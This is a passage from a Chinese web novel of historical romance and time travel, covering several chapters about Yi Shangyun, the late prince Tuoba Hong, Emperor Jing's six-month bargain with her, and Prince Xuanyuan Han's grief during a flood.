只见拓跋宏原本就忧郁的眼神,忽然变的更加忧郁起来。 这些日子里,与衣上云俩人的相处,无关风月,不问朝夕。 原本以为就这样安静地陪在她的身边,保护着她,不理世事,亦是一种难得自足的幸福。 他知道,他不能奢望这样的日子可以天长地久,然至少能多拥有一日,便是一日。 毕竟打从第一眼见到她时,她便也成为了他的那个一眼万年。 从此,他亦是那样强烈的期盼着此生能有这样的时刻。 没想到,自己如此卑微若尘埃的心思,竟真的还有实现的一日。 但这一切,明显仅仅也只是他自己的想法而已。 或许衣上云没有错,无论在哪个空间,身处怎样的世界,她都应该勇敢面对自己的人生。 这,便就是最真实的她! 或许回忆对他来说,便是伤口上撒盐,满是伤痕累累。 但为了她,此生他还有什么事是做不得的呢! 想明白后,拓跋宏遂做了最后的决定,深吸了口气,说:“好,那我便将这一切……都告诉你!” 衣上云于是放眼过去,准备好聆听。 “我们的相识,最初并不是在草原上。而是……应该在西秦国的一处悬崖边……” 静静的夜里,拓跋宏的记忆长河随风而起,缓缓流淌。 “那日,我见你只不过是西秦国一个宫廷药师之女,柔柔弱弱。却能为灵空战神秦王轩辕翰那般的人物,还有天下最是潇洒不羁的南安国太子,以及我哥,这三位各不相同,却都是叱诧整片灵空大陆的天选之子皆都颇为在意上心。我便有些好奇,心想那该是怎样的一奇女子……” “那时的我亦以为,我们那日匆匆的相遇,便就是永别,可怎么都没想到,后来,我们竟还能在草原上相见,你知道,我有多开心吗?” 衣上云疑惑地问:“所以,为什么是悬崖……” 记忆推开,拓跋宏对其娓娓道来…… 第六百五十一章:释怀 “城西衣药师府嫡长女?” “东宁嫡公主?” “西秦守护者?” “秦王妃?” …… “在这个时空里,竟真的有个与我同名同姓,甚至还有着同一张面孔的女子!” “而我,借用着别人的身份与身体,还做下了这般多之事!” 听着耳畔传来的这些,拓跋宏所讲起的关于自己的一件件,一桩桩匪夷所思的过往…… 衣上云不禁顿时发出惊声连连来。 片刻后,长长地吐了口浊气。 直觉这真真仿佛像是做了一个很长很长的梦一般,然醒后自己却全然不知过往。 只留下一抹莫名失落的愁绪于心头,不知所起,却一往而深。 另一边,拓跋宏亦是此时忽然发现,许是这些日子以来与她朝夕相伴的安稳时光,抚慰了自己的痛彻心扉以及遍体鳞伤。 如今再提起这些事来,他倒也似乎已经释怀,并没有那么悲伤了。 虽然此时眼前的衣上云,已并非昔日的她。 关于他们之间,关于在这个时空里所发生的一切,她亦已然俱都忘却。 但这些短暂而平静的日子,却是两人真真切切,共同一起度过的。 此时,他无比清楚地知道,当她知道了这一切之后,接下来,这般美好的日子便将再也不会继续。 然却这一世,能与她相遇、相伴、相守到此刻,他已觉足矣,此生再无任何遗憾。 思及此,拓跋宏似在心里暗暗下定了某种决心。 遂深深地吸了口气,转过头去,忍住悲伤,含情脉脉地看着身旁衣上云的侧脸。 在心里默默地对她说:“乌乐,这一生,我只能陪你到这里了!” 接着,又在心底对她约定:“下辈子,早些来我的世界,真想与你一道踏遍山河,云游天下,悬壶济世,再不理这天下纷争不断!” 不知过了多久。 衣上云亦忽地转过头放眼过来,对上了他此时温柔的眼神。 想到在这个时空里,只有眼前的这个男人这几日一直都与自己在同一屋檐下朝夕相处,对自己关怀备至,亦最是熟悉,可居然自己做了这么多伤害他的事。 不但辜负了他的满腔深情,还害他因了自己,永远失去了属于他的那片广阔天空,无边无垠的草原乐土。 思及此,衣上云懊恼极了,遂朝其深深地致歉道:“二皇子,真的对不起,对不起……对不起,这一切,都是我的错,都是我害你成了现在这个样子!我是真的不知道自己怎么会……” 岂料话刚开口,却被拓跋宏伸手一把将嘴堵住。 “我说过,这样的话,以后都不要再说了。从前,你已对我说过太多次,真的大可不必!我根本从未怪过你,所谓天下事,合久必分,分久必合,这是自然规律,并不是你的错。” 衣上云不以为然,一把用力掀开了他的手,继续坚持说:“不,这明明就是我的错,如果不是我无端去招惹了那个秦王,他亦不会第一个选择对北烈国下手!” 拓跋宏见她此刻是真的在替自己着急,竟忽然笑了起来。 衣上云不明白地问:“事到如今,你怎么还笑得出来?” 拓跋宏脱口说道:“如果你知道了自己与那秦王轩辕翰之间的感情有多深的时候,怕是就不会这般维护我了!” “说什么呢?你怎能把我当成那样的人……”衣上云听了这句话,很是生气。 拓跋宏见衣上云变了脸色,马上察觉到自己失言。 遂卸下了脸上的笑容,心下里一想,又有些认真地说:“是我说错话了,对不起!我想……或许冥冥之中,这会不会是我上一世欠你的,所以这一世,必须要来还你!” 可气归气,衣上云一低下头来,注意力便又一次落在了自己的腹部。 于是缓缓发出一阵低声细语,似是不敢相信的声音来:“所以说……秦王妃……我真的是那个人人口中皆都传说的灵空战神,杀伐果断,沉稳内敛的冰冷王爷,秦王轩辕翰的王妃……这个孩子……是……我与那秦王的?” 拓跋宏肯定地道:“没错,你就是与那秦王历尽磨难,终于有情人终成眷属,被这世间女子无一不艳羡的秦王轩辕翰十里红妆,亲迎入门的秦王妃!” 可思绪回转,衣上云又默默地念叨着:“亦是西秦守护者?” 拓跋宏叹了口气,接着道:“对,西秦守护者,传说拥有一股极其神秘的力量,得此力量者得天下。那拥有这股力量的人,同样,亦都是你……” 至此,恍然之间,衣上云似是明白了这一切,默默自己在心里思量着。 “显然,璟帝一定是已经知道我便是那遗失的西秦守护者后人,所以才会千方百计地想要将我困在这里。” “可璟帝与秦王向来是面和心不和,他又怎能容忍守护者成为了自己的眼中钉,秦王的王妃呢?” “难道说,璟帝至今竟然都尚还不识得那秦王的王妃?否则,秦王府……怕是一定早就不太平了!” “因此而受到牵连的,当然还有城西衣府……” “依照璟帝多疑又心狠手辣的个性,他定会将识得守护者的人一一通通都灭口才是!” “不行,必须得想办法除去这一切后患才行,万万不能再因为我而使更多无辜的人牺牲了!” 一念至此,衣上云的眉头忽然紧紧深锁了起来。 看到衣上云似是若有所思着,却又不知到底在想些什么,拓跋宏便开口在其耳畔唤醒她:“乌乐,乌乐……你在想什么?你要做什么?” 闻声,衣上云忽地回过神来,对其说道:“我想见见我的父亲……” “你的父亲?”拓跋宏想了想,问:“你是说……衣药师?” “嗯” 衣上云看着他的眼睛,认真地朝其点了点头:“有些事,我想亲自问问他!” 很快,拓跋宏便想到了一个人:“这个,我想或许那个张院判可以帮你?” 衣上云回忆片刻,道:“这几日相处下来,我见那张院判是个颇懂得明哲保身之人,这件事找他,怕是行不通的。” 拓跋宏遂又默想了一会儿,似是很快便再一次有了主意,开口说:“我注意到,那个叫丁香的药女,每次来到长宁宫,都看起来颇为尊重你。关于你的事,我知道的亦是有限。要么,明日,你不妨先试试那个丁香看看!” “丁香!似乎……”说着,衣上云便就在心里开始盘算了起来。 这时,拓跋宏忽然又一次轻咳了起来:“咳咳咳……” 衣上云猛地回过神来,抬头看了看天色,紧忙催促着说:“夜已深了,莫要在此继续贪凉,仔细着凉,赶快回去早点儿歇着吧!” “嗯!” 拓跋宏亦已觉夜太深,于是答应着,两人便就起身来散开。 同一座长廊,各自朝着一头属于自己的终点走了回去。 翌日清晨。 衣上云早早便就梳妆起身来,一袭锦衣白袍,墨发竖起。 兀自坐在院子里的蒲萄架树荫下一边煮茶,一边翻着手里所捧着的一本医书等候着。 没过一会儿,果然,与往日同样的时辰,丁香如约踏进了长宁宫来。 一见到衣上云的身影,扫了一眼周围并无旁人,便高兴地上前来朝其屈膝下蹲行礼:“王妃娘娘今日看起来气色很好呢,昨晚可是睡的还好?” 岂料衣上云却忽然将她叫至自己身边,说:“丁香,过来坐。你能同我讲讲我们之间的事情吗?比如,我们是怎么认识的?” 见此,丁香顿时愣在原地里一动不动。 这些日子以来,衣上云都是一副很拒绝她的架势,此刻忽然变得亲近起来,她倒觉得有些不自在了。 看到丁香眼中的迟疑,衣上云赶忙对其解释说:“喔……对不起。是这样的,我是因为经历了觻县的那场沙暴,记忆有些缺失,所以这几日才会冷淡了你……你不要怪我……” 闻此,丁香笑了笑,过去先替其认真地把了把脉,帮衣上云检查完毕后,方才坐了下来在其身旁。 一边给衣上云斟茶,一边开口说:“丁香岂会怪娘娘?娘娘为觻县的百姓吃了那么多苦,丁香才是佩服都还来不及呢!今生能够遇到王妃娘娘,是丁香八辈子修来的福分。” 回忆往事,丁香幽幽道:“丁香原本出身于医药世家,怎料家道中落,自此便孤苦伶仃,家中实在无法度日,方才将我卖入到宫里。” 说着,便将一盏清香扑鼻的花茶递到了衣上云的面前,继续道:“如果不是遇到王妃娘娘,细心教导丁香,丁香这辈子亦只能做个最低等的打杂药女。娘娘对丁香的大恩大德,丁香即便是结草衔环,亦难以报答,丁香没齿难忘娘娘的恩情。” 衣上云却说:“你莫要如此说,如果不是因为你善良又好学,即便我再想帮你,亦是无用。所以,这一切,都是你自己努力的结果。有些福气,虽然晚到,但却不曾缺席。这样的话,以后莫要再说,你本来就很优秀。” 看到衣上云此刻总算是不再拒绝自己,仿佛俩人又回到了从前一起在御药房研究药方的时候。 丁香方才坦诚相待,与其将曾经一起走过的日子重新忆起…… 第六百五十八章:半年……够了 七月的雨,总是来的那般干脆。 这场罕见的暴雨,一洗整座皇城近来的燥热。 雨水冲刷着石阶古道,洗尽铅华,其每一次流动与凝固之间,无不都诉说着其岁月的沧桑。 一场雨,一座城,撑一把伞。 走在雨珠四溅的青石板路上,踏过道道宫门,跟随着张致远的脚步,衣上云脑海中,依旧在不断回忆起自己所开启的这场穿越千年的旅行。 而此刻。 璟帝坐在案前,忽地闭起眼来垂首下去,继而抬起一只手来,略显疲惫地捏了捏眉心。 他已在书房里冥思良久,却依然不甚理解地自言自语,始终在思考着同一个问题。 “经过上次想要逃离的教训,她明知道拓跋宏在我们手里,自己是逃不掉的。可为什么她还要再次尝试呢?既然已经失忆,那她还能去哪儿?” 一旁立着的太监听了,想了想说:“长宁宫的侍卫,其实早已发现了她乔装改扮出宫的蹊跷,便在暗处悄悄跟着,想要看她到底想去哪儿?有何目的?或许对于我们查询其身世有所帮助,可是……” 璟帝忽地将眼睛再次睁开,瞥向太监所在的方向,沉声地问:“可是什么?” 太监回忆着说:“可是……听说后来因为秦王殿下的出现,侍卫们怕被秦王发觉此事,便就……” 璟帝听了,倏地恨恨握紧一拳,咬牙切齿地说:“秦王……又是他!” 太监继续将余下的话说完:“幸好秦王相信了守护者的谎称,说自己只是御药房新进的药女,夜里在宫中迷了路。可当秦王离开后,侍卫再次去寻,守护者便就消失不见了……” 璟帝这才算是松了口气,转而又怀疑地说:“既已离开,却又折回,又并未出宫,你说,该不会……她是去见了宫里的什么人?” 璟帝越说越相信自己的判断:“一定是这样,她到底去见了谁?” 就在殿内俩人同时都陷入沉思之际,门外一侍卫脚步匆匆地走进来禀报。 “启禀皇上,张院判带着长宁宫的那位来求见!” 一切都在璟帝的预料之中,回过神来,太监授意朝侍卫命令道:“让她进来吧!” 很快,衣上云便只身一人来到了殿内。 却是并未朝高高在上的璟帝施礼,只强压着自己心头的悲痛与愤怒,恨恨质问他。 “你为什么要将他烧掉?你有什么资格这样做?” 身旁的太监瞪大了双眼,大声怒斥其:“大胆,见了皇上怎的不行礼?” 璟帝伸出一手,将其阻止。 继而抬头挺胸,素声冷冷的说:“这里是西秦国,你们现在身处西秦皇宫,你质问朕有什么资格?” 见其对自己的行为至今都毫无负罪感,衣上云心中至今已憋了许久的苦闷与愤怒油然升起,心无一丝惧怕,据理力争。 “不错,这里,的确是西秦。可他却并非西秦国子民,亦没有做错什么而触犯西秦的律例?如此,既非囚犯,也不是你的奴隶,你就没有资格这么做?” 说着,连带一旁的太监一起瞪了一眼。 紧接着一便训斥:“你们这些滥杀无辜,视生命如草芥,杀人不眨眼的刽子手,我是绝对不会原谅你们的!” “你竟敢如此肆无忌惮地在圣上面前口出狂言?你……你……你……” 一时间,太监被气的口痴都发作了,似要眼珠子亦快蹦出来了,用一根手指颤抖着指着衣上云的方向。 “你是不是吃了熊心豹子胆了……” 而璟帝则依旧沉着应对,淡淡笑着提醒她。 “错,在这灵空大陆上,北烈早已亡国向我西秦俯首称臣,如今归我西秦所有了。如此一来,不管是谁,朕说他有罪,他便就是有罪,朕说他该死,他便就该死,且不得不死。” 顿了顿,又继续说:“更何况,你怎就知道?他就愿意这样如同行尸走肉般在这天地间苟活,痛苦煎熬着呢!朕这是在帮他解脱,且朕命人收集下他的些许骨灰,对他,已是足够仁慈了。” “你……”闻此,衣上云竟然一时之间说不出话来,简直快要气疯了地瞪向上面那张丑陋且奸诈的嘴脸。 可仔细想一想,不禁又顿心生起无限感慨与自责:“是啊,北烈早就已经亡国,这一切,当初不都是因为我而起的嘛。” 眼下看来的确不是时机,于是在心里默默地下定了决心:“可无论如何,二皇子,这个仇,迟早我一定会报!” 最后,她只能默默的再次沉下气来,请求说:“让我亲自送二皇子回草原!” “你想出宫?做梦!”此话一出,那太监的瞳孔再次放大,先开了口,随后看向璟帝的脸。 接下来好长时间,偌大的宫殿上寂静无声。 岂料过了会儿,璟帝竟出乎所有人意料地痛快答应了她:“朕……答应你!” 闻此,衣上云自己仿佛亦是深感意外极了,惊看向座上的人。 不敢相信自己耳朵的再次朝其确认:“你这是真的答应了?” 璟帝笑着点点头。 衣上云想了想,再次试着开口说:“还有……放了丁香。” 果然,老奸巨猾又生性多疑的璟帝这次却果断拒绝了她:“这个……不行!你应该知道,做人不能太贪心的,不是吗?” 衣上云想要再争取一下:“可是丁香她……” 璟帝却拦抢了她的话:“天子一言,驷马难追,朕只给你半年的时间。半年期到,你必须回到朕的身边来,从此再也不踏出宫门半步。否则……你在这世间所在意的一切,都将荡然无存……” 衣上云冷静下来,将一手附在自己日渐已经微微隆起的腹部,仔细想了想:“半年……够了。” 就在她沉思的时候,璟帝再次开口提醒警告她:“这其中,自然包括那个小药女的安危……” “丁香?” 听到这话,衣上云顿时紧张起来说:“你把丁香怎么了,不要伤害她,让我见她一面!” 果然,璟帝这只老狐狸,竟能如此痛快地答应她出宫,是有筹码的。 对于衣上云的请求,璟帝却说:“你放心,她很好。等你从草原上回来,朕自会让你日日能见她……” 衣上云咬了咬牙,悄悄握紧双拳,心想:“眼下,看来只能先把二皇子的骨灰带回草原了!还有一件更重要的事……” 眼下情势,已是自己不得不做出取舍,遂答应了璟帝:“好!一言为定。不过,这所有的事,都是我一人所为,与丁香并无关系,不要为难她。待我回宫时,若是丁香少了一根汗毛,我绝对会让你后悔的。” 说完,便转身大步流星,愤愤离去。 这时,一旁立着的太监大惊失色,担心极了地说:“皇上万万不可呀!守护者得来极不容易,皇上怎就如此轻易便就放她离宫了?” 璟帝却是一脸自信满满地说:“放心,她一定会回来的!依照守护者的性子,你若不许,指不定她将会做出什么事来!” 随后又吩咐道:“派人去密切监视便可,如无必要,切不可暴露身份!” 太监依旧不放心,眉头紧锁,转而又问:“那那个小药女……” 璟帝想了想,道:“命人将其严加看管,不得有误。” 那太监听了,颇具一脸的担忧之色…… 出了殿门,阴暗天空下的世界水天一色。 走在回长宁宫的路上,换成了张致远默默跟随起边走边似若有所思着的衣上云的脚步。 不知过了多久,犹豫了一路,忧心极了的张致远终于鼓足了勇气,借着耳边巨大的风雨声,开口说了话。 “王妃娘娘,您……真的打算一个人带着二皇子的骨灰回草原吗?” 衣上云的心里其实是明白的,拓跋宏医术高超,绝对不可能察觉不到被人下药而致死。 她只是恨张致远,为什么早就察觉到了拓跋宏的不对劲,却未能将此消息及时告诉她,以至于他白白送掉了自己的性命。 妄她还是因为他,而被囚禁在此这么久。 眼看着近日他的伤势已见好转,她亦已安排好了一切,可以再无任何后顾之忧地带他离开这个束缚俩人的牢笼。 可是,到最后,不想他还是死了。 只有一步,就差一步,他们便可以离开,从此天大地大,去任何他们想去的地方。 想起曾经多少时刻,拓跋宏陪伴自己度过了她最艰难无助的日子。 回忆往昔,衣上云心里只觉百感交集,遂咬了咬牙,坚定地说:“对!” 闻此,张致远着急地想要阻止她:“王妃娘娘万万不可,您还怀有身孕,尚不足半年便将临盆,此去草原的路途遥远且万分艰难,娘娘您一人前往实在是太危险了。” 衣上云顿足停下,脸庞明明有泪水滑落,然却忍着悲伤说:“二皇子于我而言,恩重如山。这一生,我终是欠她太多。如若他死后,我都不能送他去他想去的地方,那我还算是人吗?” 闻此,张致远不得不承认,自己确实更加尊重眼前这个有情有义却弱小的身躯。 无论何时何地,她总能博得身边所有人心甘情愿的爱护与帮助。 当然,亦包括自己,从一开始刚见面时充满敌意的排斥,到如今的恻隐之心,遂关切地想要继续劝她:“可是,娘娘你……” 岂料话刚开口,却被衣上云挡了回去:“我心意已决,你不必再劝了!如若张院判还顾及些许我们旧日同僚的情份,还望大人能在我回宫之前,替我照顾丁香一二,我们就此别过!” 此话一出,张致远顿时愣在了原地。 只能眼睁睁看着衣上云的身影,距离自己越来越远,愈来愈模糊,最后彻底消失在他的视线。 第六百五十九章:她的味道 这场突如其来罕见的暴雨,直到翌日傍晚来临,依旧似是没有丝毫想要停歇的意思。 整座西秦皇城,一夜过后,仿佛突然之间变成了另一个世界。 雨水大量地倒灌入郊外的田间地头,很快便开始得不到排泄。 河水借着雨势,水位持续不断地暴涨,已然开始漫延至城里的街道,处处可见积水严重的景象。 即便如此,狂风依旧夹杂着暴雨怒吼着,时不时将路边的树枝摧残折断,随地可见一片狼藉。 往日里,来往行人络绎不绝,到处张灯结彩繁华无比的街道,如今却已是无一不紧闭铺门,大街小巷空无一人,处处尽显一片萧条与苍凉。 如果这场雨今夜还不停,怕是整个西秦皇城俱都要被淹了。 甚至,民间已是到处开始陆陆续续传闻,说这场暴雨,乃是天怒人怨,定是有人作恶,惹怒了苍天。 如今再也得不到守护者的庇佑,怕是苍天将要降大罪下来,惩罚整个西秦国。 一时之间,城里城外,处处皆是一片人心惶惶。 而此时,城东秦王府。 轩辕翰从昨夜凌晨便开始召集各部,刚刚安排部署好应急救灾的各项事宜,又亲自视察了一遍各项工作的实施。 此时,拖着满身疲惫终于踏进了秦王府大门。 副将程良跟着其脚步一边跨过门槛进来,一边心疼极了地关切这个主子:“殿下昨日一夜未睡,今日亦是忙了一天未能合眼,还是快点回寝殿睡一会儿吧!” 一直以来,仿佛发生的所有的事,都是一波未平,一波又起。 轩辕翰深邃的眼眸里透露着满腹心事重重,一边跨进承华殿里坐下,一边复又望着窗外的大雨。 依旧担心极了:“如果今夜这雨再不停,怕是就要出事了。” 闻此,程良的目光亦随之看了出去,心亦跟着一起紧紧揪了起来。 过了会儿,回过神后,继续开口劝说:“殿下,还是去眯会儿吧!如果真的夜里雨还不停,势必将有场硬仗要打呢!” 忽想起自己进进出出,程良亦一直寸步不离地跟着自己,未有片刻的休息。 轩辕翰遂开口对他说:“嗯,本王知道了,本王想一个人在这儿呆一会儿,稍后便回寝殿,你也下去歇会儿吧!” 程良又怎能放心将轩辕翰一人留在这里,这场突如其来的暴雨,使得轩辕翰不得不调集回所有兵力,暂时搁置下寻找衣上云的下落,改而先行救灾。 可若是平日里风调雨顺还好,如今这场大暴雨,轩辕翰定是更加担心衣上云的安危。 此时一闲下来,他的心一定会很痛,很痛…… 一念至此,程良紧忙回答:“属下不累,属下就在这里陪着殿下!” 岂料轩辕翰却坚定地拒绝了他:“不必了,下去吧!” 至此,程良见自己已是不得不退下去了,于是便缓缓转身,出了门。 这时,轩辕翰忽然站起身来,踱步朝门外走了出去。 却依旧如同往日一样,沿着回廊,本能一般来到了云水阁里。 偌大的王府,仿佛也只有在这里,他似才能感觉到片刻内心的宁静。 一到这里,似乎就连空气里,到处都弥漫着自己熟悉的味道。 遂伸出双手,将门推开。 “桃之夭夭,灼灼其华。” 这一次,他的面前竟出现了一袭清新脱俗的粉色桃花纱裙,似桃花仙般轻盈灵动的衣上云,正俯在案前,悉心捣药制方的模样。 在那盏温柔的烛火下,这一幕,曾经他是那般的熟悉而又倍感温暖。 轩辕翰不禁激动地开口自言自语起来。 “云儿,真的是你吗?” “你回来了,回到本王身边来了,终于回来了!” “本王就知道,你一定还活着,你绝不会那样残忍,就那样离开本王的。” “云儿,你可知道,这些日子里,本王心里有多想你。” 这一刻,他实在是太高兴了。 在那精致的脸庞,借着烛火的照耀,明明竟现出有泪水在滑落。 话一说完,他便开始迈出疾步上前,落坐在衣上云的身边。 伸手过去温柔地拉起,并握紧她白皙而纤细的手。 接着,又抬起一只手去,轻抚了抚衣上云朝他正微笑着的脸。 继而温柔地将她一把揽入自己的怀中,心疼又后悔极了地说:“云儿,对不起,真的对不起,本王知道自己做错了,如果不是本王做了这么多错事,本王也不会一次次把你给弄丢!” 声音明显已有些哽咽,顿了顿,轩辕翰继续信誓旦旦地说:“本王发誓,只要你回到本王的身边,本王什么都听你的,什么都听你的……” 衣上云却依旧只淡淡地笑着,旖旎依偎在他的怀里,在其心口处温柔地唤了句:“殿下……” 这一声,轻轻柔柔,却是他无数个日日夜夜心底最为朝思暮想的声音。 轩辕翰只觉此刻自己的心都快要碎了,遂情不自禁地将手里的力气又增添了一些,将她拥的更紧。 然衣上云终究还是在他的怀里挣扎着坐了起来,一边替其拭去泪水,一边说:“殿下不要难过,这一切,并不是殿下的错。镜花水月,云儿本就不属于这里,亦是时候该离开了,云儿谢谢殿下一直以来的真心相待。” 轩辕翰有些听不懂:“你在说什么?什么镜花水月?什么不属于这里……什么是时候该离开了……” 可就在这时,衣上云忽然彻底挣脱了他的怀抱,立起身来,继而缓缓后退。 脸上尽管依旧笑着,可内心却是心疼不已地说:“没有云儿的日子,殿下一定要好好保重身体。关于所有一切,总有一日,殿下会明白的。” “不……” “不要……” “不要走……” “不要离开本王” 忽然意识到她是想要再次离开自己,轩辕翰一边着急地起身呼唤着,一边追了过去,张开怀抱想要用力抱住她。 就在这时,并未真正离开的程良,不放心地尾随其追了过来。 看到这一幕,见轩辕翰此时如同魔症了一般地环抱着周围空无一物的空气,那失魂落魄般令人心碎的模样,整个人顿时惊呆在原地。 遂站在门口叫了一声:“殿下……” 岂料轩辕翰似仍沉浸在自己的幻想之中,并未回应自己丝毫。 于是程良紧忙跨过门槛去伸手将其胳膊用力晃了晃,问:“殿下这是在做什么?” 轩辕翰激动地说:“程良,你快看,云儿回来了,她回到本王身边来了!” 程良听了,这才明白过来,遂安慰他:“殿下您一定是近日太过操劳,亦太过于思念王妃娘娘而产生幻觉了!” “幻觉……” “不……” “这不是幻觉……” “她真的回来了……” “不信你看……” 说着,一看自己手中所挽着的只不过是一把空气,确是果然偌大的殿内,除了他主仆二人之外,再无任何人影。 霎时间,轩辕翰彻底清醒了过来,顿现满脸的失望与难过。 程良见了,心疼地实在不知该说些什么来安慰他:“殿下……” 失而复得,得而又复失。 问世间谁能接受这样的事实,此时轩辕翰只觉整个身子很沉很沉,似是两腿都开始发软,快要无法站立。 程良意识到后,紧忙伸出手去扶。 轩辕翰伸出一手将他阻止,一边落坐下,一边垂首下去默默地道:“本王没事!” 程良却是更加担心极了地劝说:“殿下还是去睡会儿吧!” 轩辕翰便不再说话。 一室寂静。 不知过了多久,一阵风拂过。 一只胳膊支撑在案前,垂首一直捏着眉心似是在思考着什么,又似在闭目养神着的轩辕翰,忽然闻到了一股熟悉的味道。 不知不觉,他的脑海中忽然回想起昨夜在宫里所发生的事情。 很快,他似是察觉到了什么,睁开眼眸来说:“不对,那味道……” 程良隐隐约约地听到后,问:“殿下在说什么?什么不对?” 轩辕翰忽地抬起头来说,说:“云儿整日在王府就喜欢研究这些药草,所以身上自带着一股淡淡的药草香味!昨夜宫里的那个小药女的身上,也有与她相同的药草香……” 程良这才明白了过来:“殿下难不成是怀疑昨夜的那名小药女是王妃娘娘?” 话刚出口,却又马上反驳道:“这不可能!整个御药房的人,日日都与药草在一起,身上都有一股药草味。” 轩辕翰想都不想,却是坚定极了地说:“不,本王当然知道天下医者如云,可云儿身上的味道,只有本王才能识得出。” 话说至此,程良显然再无言以对,却依旧坚信自己的判断:“不可能,不可能那么巧!王妃娘娘怎么可能在宫里……” 轩辕翰却是暗暗已下定了决心,嘴里喃喃念叨着:“御药房……” 说着,便站起了身来。 看着轩辕翰欲迈步出门,程良惊声道:“殿下不会是现在就要进宫吧?” 就在轩辕翰不顾程良阻拦,一意孤行执意要出门的时候。 一名侍卫匆匆过来禀报:“启禀殿下,衣府来人了……” 第六百六十章:噩耗传来 很快,城西衣府家主,衣上坤便被人带到了大殿上来。 一近身上前,便朝座上的轩辕翰恭敬地抱拳行礼:“参见秦王殿下。” 岂料程良却先开了口,问道:“衣药师来的正好,有件事正想问大人。” 对此,衣上坤有些意外,道:“不敢当,不知将军想问什么?” 程良看了看轩辕翰的眼睛,俩人似是便已达成了共识。 程良开口问:“不知近日御药房里可有增加些许新进的药女?” “他们问这个做什么?难道他们发现了什么?”此话一出,衣上坤的心里便开始有些怀疑。 “新进的药女……”继而吞吞吐吐了一会儿,佯装自己是在认真思量。 结果最后却说:“微臣似乎并未听说近期有新人进御药房!不知将军怎会问起这个来?” 程良顿愣了一下,道:“哦,没什么,只是随便问问,眼下皇城内外都在备战抗灾,本将军只是关心一下御药房人员储备是否充足!” 衣上坤当然不相信程良此番解释,可亦只能接受他这套说辞:“原来如此!” 程良这时方才问道:“对了,不知衣药师冒着这么大的雨前来秦王府,所为何事?” 就在这时,衣上坤忽地在大殿上垂首跪了下来,道:“启禀殿下……云儿已经找到了!” 闻此霎时间,轩辕翰惊立起身来,与程良不约而同地发出一声惊叫。 “找到了,在哪儿找到的?” 衣上坤忽然轻声抽泣起来:“殿下……云儿她……死了……” “你说什么?” 闻此,轩辕翰脚下忽地打了一个踉跄。 程良急忙伸手去扶,轩辕翰伸出一手将其阻挡。 一边摇头,一边嘴里只一个劲地道: “本王不信” “本王不相信” “她不会……” 这时,衣上坤缓缓从身上摸出一个不知道被一条丝帕包着的什么东西。 程良过去将其接过,转而交到了轩辕翰的手中。 轩辕翰摊在手心里一看,那手帕正是衣上云平日里惯用的那个质地,依旧绣着一个同样他熟悉的不能再熟悉的“云”字。 他微微颤抖着附手上去,轻抚了抚那个字,继而缓缓将丝帕打开。 只见他顿时朝其瞪大了眼睛,似是被什么东西惊到。 遂伸手从丝帕里拿起一只镯子,凝视着其愣愣地说:“这只镯子……” 衣上坤解释说:“这是云儿的生母临终前留给云儿的唯一遗物,想必殿下亦对此不陌生。平日里,云儿总是从不离身,贴身戴着。” 这一刻,轩辕翰心中本已稳固的坚守,终于还是塌陷了。 霎时间,只觉自己眼前一黑,似是要跌倒下去。 “殿下……”一边的程良意识到其不对劲后,赶忙上前想要去扶他。 却被轩辕翰伸手一把阻止,继而缓缓坐了下来。 衣上坤遂将整件事的来龙去脉对轩辕翰娓娓道来。 此情此景。 恰好被纯太妃特意遣来承华殿里,想要打探轩辕翰外出公务是否已经结束,且安全回府的欢儿撞见。 一时之间,欢儿亦是整个人瞬间都愣在了门口,显然被此消息震惊不已。 遂张大了一双眼睛,不敢相信自己的耳朵,最后只愣愣地说了句:“她……死了……” 然来不及思索更多,兀自一转身,便提起裙摆来着急忙慌得下了台阶,匆匆回去。 一路狂奔着,回到紫和轩里。 刚进门,人尚且还未到,声音便先传入到了殿内:“不好了,太妃娘娘,出事了,大事不好了……” 同样担心眼下的这场暴雨,极有可能将给西秦带来一场前所未有的灾难而夜不能寐的纯太妃。 此刻,正双膝跪地,在佛堂里闭目凝神,虔诚祈祷,全身心地诵经,为全城的百姓们祈福。 听到传来欢儿慌乱的呼喊声,她似是早已习惯了她时不时的大惊小怪,并未受其影响而停下来。 一旁静静站着的张嬷嬷听到欢儿的呐喊,急忙走到门口嘘声提醒她:“嘘……小声点儿,太妃娘娘正在祈福呢!” 欢儿这才一把捂住了自己的嘴,被张嬷嬷一把拽了进去。 过了会儿,纯太妃终于止住了嘴里的呢喃声,双手合拢,最后朝着面前的神像深深叩首下去,完成了祷告。 又在张嬷嬷的搀扶下起身来,这才转身看到了欢儿此时的狼狈模样。 于是开口训导说:“都已经在王府呆了这么久了,怎么还是和从前一样遇事这般地慌张?莫非是这头顶的天要塌下来了不成。” 本就受了不轻惊吓的欢儿,加之一路疾奔,早已是上气不接下气,一时间,竟说不出话来,只一个劲儿地摇头。 纯太妃似是对她有些无奈,摇了摇头。 亦实在担心轩辕翰的安危,便转而问她:“可有探到殿下是否已经回府了?” 欢儿说不出话,只一个劲儿地点了点头。 得知轩辕翰已经回府,纯太妃皱起的眉头随之微微舒展开来,似是放心了许多。 “谢天谢地,既然皇儿都已回府,便就说明城里的情势还没有那么糟糕。” 继而又再次瞥了一眼欢儿,唠叨她:“你这毛手毛脚的丫头,怎么到现在还是改不了你这个急性子!什么大事不好了,到底发生了什么?只不过让你去打探一下殿下是否已经回府,你怎么就弄成了这副模样?” 欢儿将两手插在腰间,喘了好大几口气,终于说出了这句:“太妃娘娘……不好了……衣府……衣府来人了!” 闻此,纯太妃顿看向欢儿的眼睛,颇觉亦有几分诧异:“衣府来人了?” 想想轩辕翰与衣上云大婚至今,城西衣府可是甚少登门的,今日怎么…… 一边思量着,放眼过去看了看门外的瓢泼大雨。 不知为何,她的心里忽然升起一抹不好的预感,低声喃喃道:“这么大的雨,衣府来王府做什么?可知来的是什么人?” 然这时,却忽见欢儿脸上的表情变得迟疑了起来,欢儿当然还没有想好该如何告诉纯太妃这个噩耗。 她的确不知她能不能承受地住,于是便支支吾吾了起来,说:“衣府来的是家主衣上坤衣老爷,衣老爷他说……他说……” 纯太妃见欢儿忽然眼神开始躲闪,变得吞吞吐吐起来,便催促道:“你这丫头怎么回事?方才还火急火燎的,这会儿怎么又吞吞吐吐了起来,到底发生了什么事?衣上坤到底来跟殿下说什么?” 看到纯太妃已然着急发怒,欢儿本想循序渐进,将此事道出:“太妃娘娘不要……不要过于着急,欢儿刚才在承华殿门口听见衣老爷说,他已经找到了王妃娘娘。” “你说什么?” 未及欢儿将话说完,纯太妃便激动地看着欢儿的眼睛,将其打断说:“你说的是真的?真的已经打探到云儿的下落了?” 一时之间,纯太妃惊地竟有些不知所措。 